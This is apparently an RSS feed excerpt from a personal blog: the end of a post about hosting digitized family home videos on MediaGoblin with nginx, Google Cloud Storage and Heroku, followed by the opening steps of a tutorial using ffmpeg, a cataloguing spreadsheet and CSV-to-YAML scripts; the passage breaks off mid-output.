 src="https://mtlynch.io/digitizing-2/final-architecture.jpg" alt="Architecture diagram of MediaGoblin &amp;#43; Docker &amp;#43; nginx rewriting responses to GCS" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Nginx rewrites responses from MediaGoblin so that clients can retrieve media files directly from Google Cloud Storage.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The neat part of my solution was that it required no modification to MediaGoblin&amp;rsquo;s code. A two-line Nginx directive seamlessly integrated MediaGoblin and Google Cloud Storage even though the two services had zero awareness of one another.&lt;/p>
&lt;div class="notice notice-danger">
 &lt;strong>Note&lt;/strong>: This solution requires the files on Google Cloud Storage to be world-readable. To mitigate the risk of unauthorized access, I use a long, random bucket name (e.g., &lt;code>mediagoblin-39dpduhfz1wstbprmyk5ak29&lt;/code>) and ensure that the bucket&amp;rsquo;s access control policy prevents unauthorized users from listing directory contents.
&lt;/div>

&lt;h2 id="the-final-product">The final product&lt;/h2>
&lt;p>At this point, I had a complete, working solution. MediaGoblin happily ran in its own container on Google Cloud Platform, which meant I didn&amp;rsquo;t have to patch or upgrade very often. Everything about my process was automated and reproducible, making it easy to push changes or roll back to previous versions.&lt;/p>
&lt;p>My family loved how easy it was to browse through videos. With the Nginx performance hack, the experience was as snappy as browsing YouTube.&lt;/p>
&lt;p>The browse screen looked like this:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/digitizing-2/mediagoblin-home.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/digitizing-2/mediagoblin-home_hu_321bdc116c8506a8.png 300w, https://mtlynch.io/digitizing-2/mediagoblin-home_hu_c614f8fcac27edd3.png 600w, https://mtlynch.io/digitizing-2/mediagoblin-home_hu_25f1e360a91642b9.png 800w, https://mtlynch.io/digitizing-2/mediagoblin-home.png 1000w'
 src="https://mtlynch.io/digitizing-2/mediagoblin-home.png" alt="MediaGoblin browse screen" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Browse screen of my family&amp;rsquo;s home video sharing server&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Clicking a thumbnail brought you to a screen like this:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/digitizing-2/mediagoblin-single-video.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/digitizing-2/mediagoblin-single-video_hu_9794d9b21773a07b.jpg 300w, https://mtlynch.io/digitizing-2/mediagoblin-single-video_hu_b9087c91f909dfff.jpg 600w, https://mtlynch.io/digitizing-2/mediagoblin-single-video_hu_5c10bca438ab7740.jpg 800w, https://mtlynch.io/digitizing-2/mediagoblin-single-video.jpg 1016w'
 src="https://mtlynch.io/digitizing-2/mediagoblin-single-video.jpg" alt="Screenshot of MediaGoblin displaying a video" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Viewing an individual clip on the media server&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>After years of work, it was incredibly gratifying to give my family the YouTube-like experience for exploring our videos that I originally envisioned.&lt;/p>
&lt;h3 id="bonus-bringing-costs-below-1month">Bonus: Bringing costs below $1/month&lt;/h3>
&lt;p>Home videos are the kind of thing you only watch every few months. My family collectively accessed the site for about 20 hours per year, but my server ran 24/7. I was paying $15/month for a server that sat idle 99.7% of the time.&lt;/p>
&lt;p>At the end of 2018, Google released &lt;a href="https://cloud.google.com/run">Cloud Run&lt;/a>. Its killer feature was launching Docker containers fast enough to respond to HTTP requests. That allowed your server to wait in standby mode and only run when someone visited your URL. For infrequently accessed apps like mine, this reduced costs from $15/month to a few cents per year.&lt;/p>
&lt;p>For reasons I no longer remember, Cloud Run didn&amp;rsquo;t work with my MediaGoblin image. But the existence of Cloud Run reminded me that &lt;a href="https://heroku.com">Heroku&lt;/a> offered a similar service for free, and their tools are far more user-friendly than Google&amp;rsquo;s.&lt;/p>
&lt;p>With a free app server, my only cost is data storage. Google&amp;rsquo;s standard regional storage is 2.3 cents/GB, and the video collection takes up 33 GB, so I only pay $0.77/month.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 641px">



 &lt;a href="https://mtlynch.io/digitizing-2/gcs-bill.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 641px, 98vw"
 srcset='https://mtlynch.io/digitizing-2/gcs-bill_hu_d407ecc044375f87.png 300w, https://mtlynch.io/digitizing-2/gcs-bill_hu_a62b48c466a5828e.png 600w, https://mtlynch.io/digitizing-2/gcs-bill.png 639w'
 src="https://mtlynch.io/digitizing-2/gcs-bill.png" alt="Bill for $0.77 from Google Cloud Platform" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The cost of this entire solution is only $0.77 per month.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="tips-for-anyone-about-to-try-this">Tips for anyone about to try this&lt;/h2>
&lt;p>This process obviously took me a long time, but I hope this article can save others 80-90% of the effort of digitizing and sharing their home videos. The next section has a &lt;a href="https://mtlynch.io/digitizing-home-videos-walkthrough/">detailed walkthrough&lt;/a> of the nuts and bolts of my solution, but here are some general tips for digitizing and sharing home videos:&lt;/p>
&lt;ul>
&lt;li>Capture as much metadata as possible during the raw capture and edit stages.
&lt;ul>
&lt;li>Labels on the tapes often have valuable information.&lt;/li>
&lt;li>Keep a record of which clip came from which tape and in what order.&lt;/li>
&lt;li>Note any clues in the clip about the recording date.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Consider outsourcing the raw capture to professionals.
&lt;ul>
&lt;li>It&amp;rsquo;s &lt;em>extremely&lt;/em> difficult and expensive for you to match the quality of a video digitization company.&lt;/li>
&lt;li>But steer clear of a company called EverPresent (email me if you want the details).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If you do your own capture, buy plenty of disk space.
&lt;ul>
&lt;li>Uncompressed video captures are ~100-200 MB per minute of standard definition video.&lt;/li>
&lt;li>I stored everything on my 10 TB &lt;a href="https://smile.amazon.com/Synology-DiskStation-Diskless-Attached-DS412/dp/B007JLE84C/">Synology DS412+&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Record metadata in an application-agnostic format.
&lt;ul>
&lt;li>Clip descriptions, time codes, dates, etc.&lt;/li>
&lt;li>If you keep it in an application-specific format (or worse, throw it away), you can&amp;rsquo;t reproduce the work if you decide on a different solution.&lt;/li>
&lt;li>When you watch the videos during editing, you see lots of useful metadata. You&amp;rsquo;ll lose it if you don&amp;rsquo;t capture it.
&lt;ul>
&lt;li>What&amp;rsquo;s happening in the video?&lt;/li>
&lt;li>Who&amp;rsquo;s in it?&lt;/li>
&lt;li>When was it recorded?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Mark your favorites.
&lt;ul>
&lt;li>Honestly, most home video footage is pretty boring.&lt;/li>
&lt;li>I apply the &amp;ldquo;best of&amp;rdquo; tag to my favorite clips and browse through those when I want to see fun videos.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Build the end-to-end solution as soon as possible.
&lt;ul>
&lt;li>I tried to capture all the tapes first, then edit all the tapes, etc.&lt;/li>
&lt;li>I wish I had started with a single tape and done the work necessary to share that. It would have shown me how decisions early in the process affect the final result.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Minimize transcoding.
&lt;ul>
&lt;li>Every time you edit or re-encode a clip, you degrade the quality.&lt;/li>
&lt;li>Capture the raw footage at the highest possible quality, and then transcode each clip exactly once to a format that browsers can play natively.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Use the simplest possible solution for sharing the video clips.
&lt;ul>
&lt;li>In retrospect, MediaGoblin is too complex a tool for the not-so-complicated scenario of generating web pages to display an unchanging set of video files.&lt;/li>
&lt;li>If I were starting over, I would have used a static site generator like &lt;a href="https://gohugo.io/">Hugo&lt;/a>, &lt;a href="https://jekyllrb.com/">Jekyll&lt;/a>, or &lt;a href="https://gridsome.org/">Gridsome&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Make a montage.
&lt;ul>
&lt;li>Video montages are a fun way to bring together the best moments from several home videos.&lt;/li>
&lt;li>Montages are all about the music. &lt;a href="https://smile.amazon.com/Slow-Show-Explicit/dp/B000SFZIQI/">&amp;ldquo;Slow Show&amp;rdquo; by The National&lt;/a> is amazing for montages, and nobody else seems to have realized.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="an-end-to-end-walkthrough-of-my-process">An end-to-end walkthrough of my process&lt;/h2>
&lt;p>If you want the nitty-gritty of how I did this, I created a &lt;a href="https://mtlynch.io/digitizing-home-videos-walkthrough/">tutorial&lt;/a> that shows my entire workflow from start to finish. It includes all the source code and commands to replicate my process.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/digitizing-home-videos-walkthrough/">Editing and Sharing Home Videos with MediaGoblin&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Illustrations by Loraine Yow.&lt;/em>&lt;/p>
&lt;p>&lt;em>Special thanks to my family for allowing me to share a selection of these clips and stills, for recording everything in the first place, and for being so supportive throughout this process.&lt;/em>&lt;/p></content:encoded></item><item><title>Editing and Sharing Home Videos with MediaGoblin</title><link>https://mtlynch.io/digitizing-home-videos-walkthrough/</link><pubDate>Tue, 26 May 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/digitizing-home-videos-walkthrough/</guid><description>&lt;h2 id="goal">Goal&lt;/h2>
&lt;p>This tutorial shows you how to edit digitized video captures into smaller clips that you can publish on your own password-protected &lt;a href="https://mediagoblin.org/">MediaGoblin&lt;/a> server. You&amp;rsquo;ll use a free &lt;a href="https://heroku.com">Heroku&lt;/a> dyno, so your only ongoing cost for running this private media server is the cost of storage on Google Cloud Storage, which is 2.3 cents per GB.&lt;/p>
&lt;p>I used this workflow to edit and share my family&amp;rsquo;s home videos at a cost of only $0.77 per month. For the detailed backstory, check out the blog post, &amp;ldquo;&lt;a href="https://mtlynch.io/digitizing-1/">My Eight-Year Quest to Digitize 45 Videotapes&lt;/a>.&amp;rdquo; You can use this workflow for any kind of video file that contains lots of subclips that you&amp;rsquo;d like to chop out and share.&lt;/p></description><content:encoded>&lt;h2 id="goal">Goal&lt;/h2>
&lt;p>This tutorial shows you how to edit digitized video captures into smaller clips that you can publish on your own password-protected &lt;a href="https://mediagoblin.org/">MediaGoblin&lt;/a> server. You&amp;rsquo;ll use a free &lt;a href="https://heroku.com">Heroku&lt;/a> dyno, so your only ongoing cost for running this private media server is the cost of storage on Google Cloud Storage, which is 2.3 cents per GB.&lt;/p>
&lt;p>I used this workflow to edit and share my family&amp;rsquo;s home videos at a cost of only $0.77 per month. For the detailed backstory, check out the blog post, &amp;ldquo;&lt;a href="https://mtlynch.io/digitizing-1/">My Eight-Year Quest to Digitize 45 Videotapes&lt;/a>.&amp;rdquo; You can use this workflow for any kind of video file that contains lots of subclips that you&amp;rsquo;d like to chop out and share.&lt;/p>
&lt;h2 id="pre-requisites">Pre-requisites&lt;/h2>
&lt;ul>
&lt;li>Python 3&lt;/li>
&lt;li>virtualenv&lt;/li>
&lt;li>Git&lt;/li>
&lt;li>Docker&lt;/li>
&lt;li>ffmpeg&lt;/li>
&lt;li>A video player
&lt;ul>
&lt;li>Ideally one with an edit timeline like Adobe Premiere Elements or &lt;a href="https://www.openshot.org/">OpenShot&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>A free Heroku account
&lt;ul>
&lt;li>And the &lt;a href="https://devcenter.heroku.com/articles/heroku-cli">Heroku CLI&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>A Google Cloud Platform account (with billing enabled)
&lt;ul>
&lt;li>And the &lt;a href="https://cloud.google.com/sdk/docs/quickstarts">Google Cloud SDK&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="demo-video">Demo video&lt;/h2>
&lt;p>As an example, the video I use throughout this tutorial is a &lt;a href="https://archive.org/details/TexasFar1952">public domain home video&lt;/a> from a Texas family in the 1950s:&lt;/p>




&lt;figure class="video" style="max-width: 600px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="https://github.com/mtlynch/free-usage-videos/blob/master/texas-farm-family-1952/TexasFar1952.mp4?raw=true" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Public domain video that this tutorial uses as the raw video to edit and share (note that this video contains no audio)&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>To download this video, run the commands below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">VIDEO_URL&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;https://github.com/mtlynch/free-usage-videos/blob/master/texas-farm-family-1952/TexasFar1952.mp4?raw=true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">RAW_VIDEOS_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">HOME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/videos-raw&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">RAW_VIDEO&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">RAW_VIDEOS_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/TexasFar1952.mp4&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -p &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$RAW_VIDEOS_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>wget &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$VIDEO_URL&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> -O &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$RAW_VIDEO&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="annotating">Annotating&lt;/h2>
&lt;p>Video files are made up of a series of frames. To identify the start and ends of clips in your video files, you need a way of identifying the frame number that corresponds to a position in playback. To do that, you can use ffmpeg to make a scratch copy of the original video with frame annotations:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ANNOTATED_VIDEO&lt;/span>=TexasFar1952-annotated.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ffmpeg &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -i &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$RAW_VIDEO&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -vf &lt;span style="color:#ed9d13">&amp;#34;drawtext=fontfile=Arial.ttf: text=&amp;#39;%{frame_num}&amp;#39;: start_number=1: x=(w-tw)/2: y=h-(2*lh): fontcolor=black: fontsize=20: box=1: boxcolor=white: boxborderw=5&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -c:a copy &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ANNOTATED_VIDEO&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That creates a copy of the video that looks like this:&lt;/p>




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 640px">



 &lt;a href="https://mtlynch.io/digitizing-home-videos-walkthrough/frame-annotation.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 640px, 98vw"
 srcset='https://mtlynch.io/digitizing-home-videos-walkthrough/frame-annotation_hu_1b3da239c76edfe2.jpg 300w, https://mtlynch.io/digitizing-home-videos-walkthrough/frame-annotation_hu_2e5b293e70cc4fcd.jpg 600w, https://mtlynch.io/digitizing-home-videos-walkthrough/frame-annotation.jpg 640w'
 src="https://mtlynch.io/digitizing-home-videos-walkthrough/frame-annotation.jpg" alt="Public domain video with added frame count overlay" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="cataloging">Cataloging&lt;/h2>
&lt;p>Now, it&amp;rsquo;s time to catalog the footage on the tape. You&amp;rsquo;ll go through the video to identify individual scenes, who appears in them, and what&amp;rsquo;s happening.&lt;/p>
&lt;p>Open up your favorite video player. I think Adobe Premiere Elements is best for this, but you can also try the free &lt;a href="https://www.openshot.org/">OpenShot editor&lt;/a>. Any video player will technically work, but you&amp;rsquo;ll save time if you choose one that supports stepping through frame by frame and a zoomable timeline.&lt;/p>
&lt;p>Next, create a spreadsheet. You can start with &lt;a href="https://docs.google.com/spreadsheets/d/1kuamVFEYBrOI097IWBQ8sB0q37ZRACYe2o389Ag92zI/edit?usp=sharing">mine&lt;/a>. I&amp;rsquo;ll explain the fields below:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1496px">



 &lt;a href="https://mtlynch.io/digitizing-home-videos-walkthrough/spreadsheet.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1496px, 98vw"
 srcset='https://mtlynch.io/digitizing-home-videos-walkthrough/spreadsheet_hu_8e84a58a07239347.png 300w, https://mtlynch.io/digitizing-home-videos-walkthrough/spreadsheet_hu_621dc57aeb0b83a.png 600w, https://mtlynch.io/digitizing-home-videos-walkthrough/spreadsheet_hu_8224b4491de20529.png 800w, https://mtlynch.io/digitizing-home-videos-walkthrough/spreadsheet_hu_2e52f30c9c299ba2.png 1200w, https://mtlynch.io/digitizing-home-videos-walkthrough/spreadsheet.png 1494w'
 src="https://mtlynch.io/digitizing-home-videos-walkthrough/spreadsheet.png" alt="Screenshot of my Google Sheets spreadsheet" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Catalog all the metadata in a spreadsheet that has the same format as &lt;a href="https://docs.google.com/spreadsheets/d/1kuamVFEYBrOI097IWBQ8sB0q37ZRACYe2o389Ag92zI/edit?usp=sharing">mine&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>&lt;code>tape_id&lt;/code>: This is the filename (without extension) of the video file.&lt;/li>
&lt;li>&lt;code>tape_shortname&lt;/code>: This is a shortname you want to identify files that came from this raw file. It can be the same as &lt;code>tape_id&lt;/code>.&lt;/li>
&lt;li>&lt;code>tape_friendly_name&lt;/code>: When MediaGoblin displays which tape this clip came from, it will use this field. If there&amp;rsquo;s a more descriptive name than the tape&amp;rsquo;s filename, use it here.&lt;/li>
&lt;li>&lt;code>scene_start_frame&lt;/code>: The number of the first frame where the clip begins.
&lt;ul>
&lt;li>In the example Texas Farm footage, the first few frames are blank, so the first clip starts at frame 28.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;code>title&lt;/code>: A title for this scene. This will be the title used in output filenames and in MediaGoblin&amp;rsquo;s thumbnails.
&lt;ul>
&lt;li>To tell &lt;code>render_scenes&lt;/code> to ignore a segment of footage, title it &lt;code>junk&lt;/code>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;code>description&lt;/code>: (optional) A description of what&amp;rsquo;s happening in the scene. This will appear under the clip in MediaGoblin&amp;rsquo;s watch video view.&lt;/li>
&lt;li>hashtags: After the &lt;code>description&lt;/code> column, you can create tags prefixed by a hash mark. Any clip with a &lt;code>y&lt;/code> (or any value) in a hashtag column will have that tag added to the clip in MediaGoblin.
&lt;ul>
&lt;li>For example: Row 9 in my spreadsheet has &lt;code>y&lt;/code> under columns &lt;code>#adam&lt;/code> and &lt;code>#archie&lt;/code>. When &lt;code>publish_to_mediagoblin&lt;/code> adds the clip to MediaGoblin, it will add the tags &lt;code>adam&lt;/code> and &lt;code>archie&lt;/code> to the clip.&lt;/li>
&lt;li>The purpose of these columns is if you have family members or pets that you want to tag in videos, you can add columns with their hashtag and put a &lt;code>y&lt;/code> in this column for each clip they appear in.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;code>date&lt;/code>: The date the clip was recorded.
&lt;ul>
&lt;li>This can be in one of the following formats:
&lt;ul>
&lt;li>&lt;code>YYYY-MM-DD&lt;/code>&lt;/li>
&lt;li>&lt;code>YYYY-MM&lt;/code>&lt;/li>
&lt;li>&lt;code>YYYY&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;code>other_tags&lt;/code>: Add any additional tags you want to apply to the clip in a comma-separated list.&lt;/li>
&lt;/ul>
&lt;p>When you run &lt;code>render_scenes&lt;/code> (below), it will chop the video into shorter clips using this naming scheme:&lt;/p>
&lt;ul>
&lt;li>&lt;code>[tape_shortname] - [clip index] - [title].mp4&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>For example:&lt;/p>
&lt;ul>
&lt;li>&lt;code>Texas Family - 1952 - 05 - Archie in the Corn Fields.mp4&lt;/code>&lt;/li>
&lt;/ul>
&lt;h2 id="create-a-scenes-yaml-file">Create a scenes YAML file&lt;/h2>
&lt;p>Now that you have the clips catalogued, you can use my script to convert the CSV into a YAML file that instructs my other scripts how to chop up the videos and import them to MediaGoblin.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>git clone https://github.com/mtlynch/process-home-videos.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> process-home-videos
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -p ./venv
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>virtualenv --python python3 ./venv
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>. venv/bin/activate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pip install --requirement requirements.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, you&amp;rsquo;ll need to create a configuration file. Copy &lt;code>config.example.yaml&lt;/code> from &lt;code>process-home-videos&lt;/code> to &lt;code>config.yaml&lt;/code>, and edit it for your clips based on the instructions in the file.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>cp config.example.yaml config.yaml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, create paths for the CSV and YAML files of clip metadata:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MEDIAGOBLIN_METADATA&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">HOME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/mediagoblin-meta&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -p &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MEDIAGOBLIN_METADATA&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Path to the CSV you created.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">SCENES_CSV&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MEDIAGOBLIN_METADATA&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/scenes.csv&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Path to output file to create.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">SCENES_YAML&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MEDIAGOBLIN_METADATA&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/scenes.yaml&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you&amp;rsquo;re following along with my spreadsheet example, you can download it as a CSV:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">CSV_URL&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;https://docs.google.com/spreadsheets/d/1kuamVFEYBrOI097IWBQ8sB0q37ZRACYe2o389Ag92zI/export?format=csv&amp;amp;id=1kuamVFEYBrOI097IWBQ8sB0q37ZRACYe2o389Ag92zI&amp;amp;gid=401061703&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>wget &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$CSV_URL&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> -O &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$SCENES_CSV&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Run the following script to convert your CSV to a YAML file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>app/csv_to_yaml.py &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --config config.yaml &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$SCENES_CSV&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;gt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$SCENES_YAML&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This creates a YAML file like the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ head -n &lt;span style="color:#3677a9">19&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$SCENES_YAML&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- description: &lt;span style="color:#ed9d13">&amp;#39;Abigail and Adam stand outside with Abigail primping Adam&amp;#39;&amp;#39;s coat.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
